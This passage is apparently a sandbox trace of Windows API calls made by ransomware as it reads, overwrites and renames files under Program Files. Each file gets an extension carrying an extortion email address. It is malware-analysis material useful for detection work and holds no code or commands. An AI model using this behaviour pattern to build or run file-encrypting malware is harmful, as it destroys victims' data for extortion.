lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0117.141] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fc6c | out: lpFindFileData=0x523fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="kinit.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="KINITE~1.FIR")) returned 0x6d5200 [0117.141] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0117.141] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e0 [0117.141] GetProcessHeap () returned 0x630000 [0117.141] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4061) returned 0x72100d0 [0117.141] GetProcessHeap () returned 0x630000 [0117.141] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4061) returned 0x7214140 [0117.141] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.141] ReadFile (in: hFile=0x6e0, lpBuffer=0x72100d0, nNumberOfBytesToRead=0x4040, lpNumberOfBytesRead=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72100d0*, lpNumberOfBytesRead=0x523ff0c*=0x4040, lpOverlapped=0x0) returned 1 [0118.580] GetProcessHeap () returned 0x630000 [0118.580] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fedf68 [0118.580] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.580] WriteFile (in: hFile=0x6e0, lpBuffer=0x7214140*, nNumberOfBytesToWrite=0x4040, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7214140*, lpNumberOfBytesWritten=0x523ff0c*=0x4040, lpOverlapped=0x0) returned 1 [0118.580] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.580] WriteFile (in: hFile=0x6e0, lpBuffer=0x721817f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x721817f*, lpNumberOfBytesWritten=0x523ff0c*=0x20, lpOverlapped=0x0) returned 1 [0118.580] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.581] WriteFile (in: hFile=0x6e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x523ff0c*=0x4, lpOverlapped=0x0) returned 1 [0118.581] CloseHandle (hObject=0x6e0) returned 1 [0118.582] GetProcessHeap () returned 0x630000 [0118.582] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7214140 | out: hHeap=0x630000) returned 1 [0118.582] GetProcessHeap () returned 0x630000 [0118.582] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72100d0 | out: hHeap=0x630000) returned 1 [0118.582] GetProcessHeap () returned 0x630000 [0118.582] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fedf68 | out: hHeap=0x630000) returned 1 [0118.582] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0118.582] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fcc4 | out: lpFindFileData=0x523fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xca1297d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4064, dwReserved0=0xa0c7496, dwReserved1=0x72100c8, cFileName="kinit.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="KINITE~1.FIR")) returned 0x6d5200 [0118.582] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0118.583] Sleep (dwMilliseconds=0x1) [0123.239] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x523ff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 1 [0123.239] GetProcessHeap () returned 0x630000 [0123.239] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1bc) returned 0x66a3e0 [0123.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0123.240] CloseHandle (hObject=0x5ec) returned 1 [0123.240] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0123.240] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0123.241] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0123.241] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fc6c | out: lpFindFileData=0x523fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APBE2B~1.FIR")) returned 0x6d5500 [0123.241] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0123.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0123.241] GetProcessHeap () returned 0x630000 [0123.241] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x501) returned 0x6672f8 [0123.241] GetProcessHeap () returned 0x630000 [0123.241] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x501) returned 0x6868e0 [0123.241] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.241] ReadFile (in: hFile=0x5ec, lpBuffer=0x6672f8, nNumberOfBytesToRead=0x4e0, lpNumberOfBytesRead=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6672f8*, lpNumberOfBytesRead=0x523ff0c*=0x4e0, lpOverlapped=0x0) returned 1 [0123.253] GetProcessHeap () returned 0x630000 [0123.253] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeeb8 [0123.253] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.253] WriteFile (in: hFile=0x5ec, lpBuffer=0x6868e0*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6868e0*, lpNumberOfBytesWritten=0x523ff0c*=0x4e0, lpOverlapped=0x0) returned 1 [0123.253] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.253] WriteFile (in: hFile=0x5ec, lpBuffer=0x686dbf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x686dbf*, lpNumberOfBytesWritten=0x523ff0c*=0x20, lpOverlapped=0x0) returned 1 [0123.253] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.253] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x523ff0c*=0x4, lpOverlapped=0x0) returned 1 [0123.253] CloseHandle (hObject=0x5ec) returned 1 [0123.255] GetProcessHeap () returned 0x630000 [0123.255] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6868e0 | out: hHeap=0x630000) returned 1 [0123.255] GetProcessHeap () returned 0x630000 [0123.255] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6672f8 | out: hHeap=0x630000) returned 1 [0123.255] GetProcessHeap () returned 0x630000 [0123.255] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeeb8 | out: hHeap=0x630000) returned 1 [0123.255] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0123.255] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fcc4 | out: lpFindFileData=0x523fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6b0ef0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x511, dwReserved0=0xa0c7496, dwReserved1=0x6672f0, cFileName="AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APBE2B~1.FIR")) returned 0x6d5580 [0123.255] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0123.255] Sleep (dwMilliseconds=0x1) [0128.864] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar", len=0x38 | out: pbstr=0x523ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 1 [0128.865] GetProcessHeap () returned 0x630000 [0128.865] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x9c) returned 0x66a3e0 [0128.865] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b8 [0128.977] CloseHandle (hObject=0x6b8) returned 1 [0128.977] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0128.978] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0129.024] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0129.024] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fc6c | out: lpFindFileData=0x523fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7fbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunmscapi.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SUNMSC~1.FIR")) returned 0x6d5400 [0129.024] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0129.024] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b8 [0129.024] GetProcessHeap () returned 0x630000 [0129.024] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7fc1) returned 0x7076c00 [0129.024] GetProcessHeap () returned 0x630000 [0129.024] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7fc1) returned 0x7230de8 [0129.025] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.025] ReadFile (in: hFile=0x6b8, lpBuffer=0x7076c00, nNumberOfBytesToRead=0x7fa0, lpNumberOfBytesRead=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7076c00*, lpNumberOfBytesRead=0x523ff0c*=0x7fa0, lpOverlapped=0x0) returned 1 [0132.909] GetProcessHeap () returned 0x630000 [0132.909] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317ec8 [0132.909] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.909] WriteFile (in: hFile=0x6b8, lpBuffer=0x7230de8*, nNumberOfBytesToWrite=0x7fa0, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7230de8*, lpNumberOfBytesWritten=0x523ff0c*=0x7fa0, lpOverlapped=0x0) returned 1 [0132.910] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.910] WriteFile (in: hFile=0x6b8, lpBuffer=0x7238d87*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7238d87*, lpNumberOfBytesWritten=0x523ff0c*=0x20, lpOverlapped=0x0) returned 1 [0132.910] SetFilePointerEx (in: hFile=0x6b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.910] WriteFile (in: hFile=0x6b8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x523ff0c*=0x4, lpOverlapped=0x0) returned 1 [0132.910] CloseHandle (hObject=0x6b8) returned 1 [0135.196] GetProcessHeap () returned 0x630000 [0135.196] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7230de8 | out: hHeap=0x630000) returned 1 [0135.197] GetProcessHeap () returned 0x630000 [0135.197] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7076c00 | out: hHeap=0x630000) returned 1 [0135.197] GetProcessHeap () returned 0x630000 [0135.197] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317ec8 | out: hHeap=0x630000) returned 1 [0135.197] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0135.197] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fcc4 | out: lpFindFileData=0x523fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x1689393f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x7fdf, dwReserved0=0xa0c7496, dwReserved1=0x7076bf8, cFileName="sunmscapi.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SUNMSC~1.FIR")) returned 0x6d5340 [0135.197] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0135.197] Sleep (dwMilliseconds=0x1) [0137.034] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF", len=0x42 | out: pbstr=0x523ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 1 [0137.034] GetProcessHeap () returned 0x630000 [0137.034] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x22c) returned 0x670860 [0137.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0137.035] CloseHandle (hObject=0x6a4) returned 1 [0137.035] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.035] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0137.035] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0137.035] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fc6c | out: lpFindFileData=0x523fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd744774, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdec, dwReserved0=0x0, dwReserved1=0x0, cFileName="CG1606.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CG1606~1.FIR")) returned 0x6d4f40 [0137.036] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0137.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0137.036] GetProcessHeap () returned 0x630000 [0137.036] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe01) returned 0x707f690 [0137.036] GetProcessHeap () returned 0x630000 [0137.036] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe01) returned 0x727d80 [0137.036] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.036] ReadFile (in: hFile=0x6a4, lpBuffer=0x707f690, nNumberOfBytesToRead=0xde0, lpNumberOfBytesRead=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x707f690*, lpNumberOfBytesRead=0x523ff0c*=0xde0, lpOverlapped=0x0) returned 1 [0137.051] GetProcessHeap () returned 0x630000 [0137.051] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0137.051] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.051] WriteFile (in: hFile=0x6a4, lpBuffer=0x727d80*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x727d80*, lpNumberOfBytesWritten=0x523ff0c*=0xde0, lpOverlapped=0x0) returned 1 [0137.051] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.051] WriteFile (in: hFile=0x6a4, lpBuffer=0x728b5f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x728b5f*, lpNumberOfBytesWritten=0x523ff0c*=0x20, lpOverlapped=0x0) returned 1 [0137.051] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.051] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x523ff0c*=0x4, lpOverlapped=0x0) returned 1 [0137.051] CloseHandle (hObject=0x6a4) returned 1 [0137.052] GetProcessHeap () returned 0x630000 [0137.052] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727d80 | out: hHeap=0x630000) returned 1 [0137.052] GetProcessHeap () returned 0x630000 [0137.052] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707f690 | out: hHeap=0x630000) returned 1 [0137.052] GetProcessHeap () returned 0x630000 [0137.052] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0137.053] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0137.053] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fcc4 | out: lpFindFileData=0x523fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17a28bbe, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xe10, dwReserved0=0xa0c7496, dwReserved1=0x707f688, cFileName="CG1606.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CG1606~1.FIR")) returned 0x6d53c0 [0137.053] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0137.053] Sleep (dwMilliseconds=0x1) [0137.056] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID", len=0x44 | out: pbstr=0x523ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 1 [0137.056] GetProcessHeap () returned 0x630000 [0137.056] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x228) returned 0x670860 [0137.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 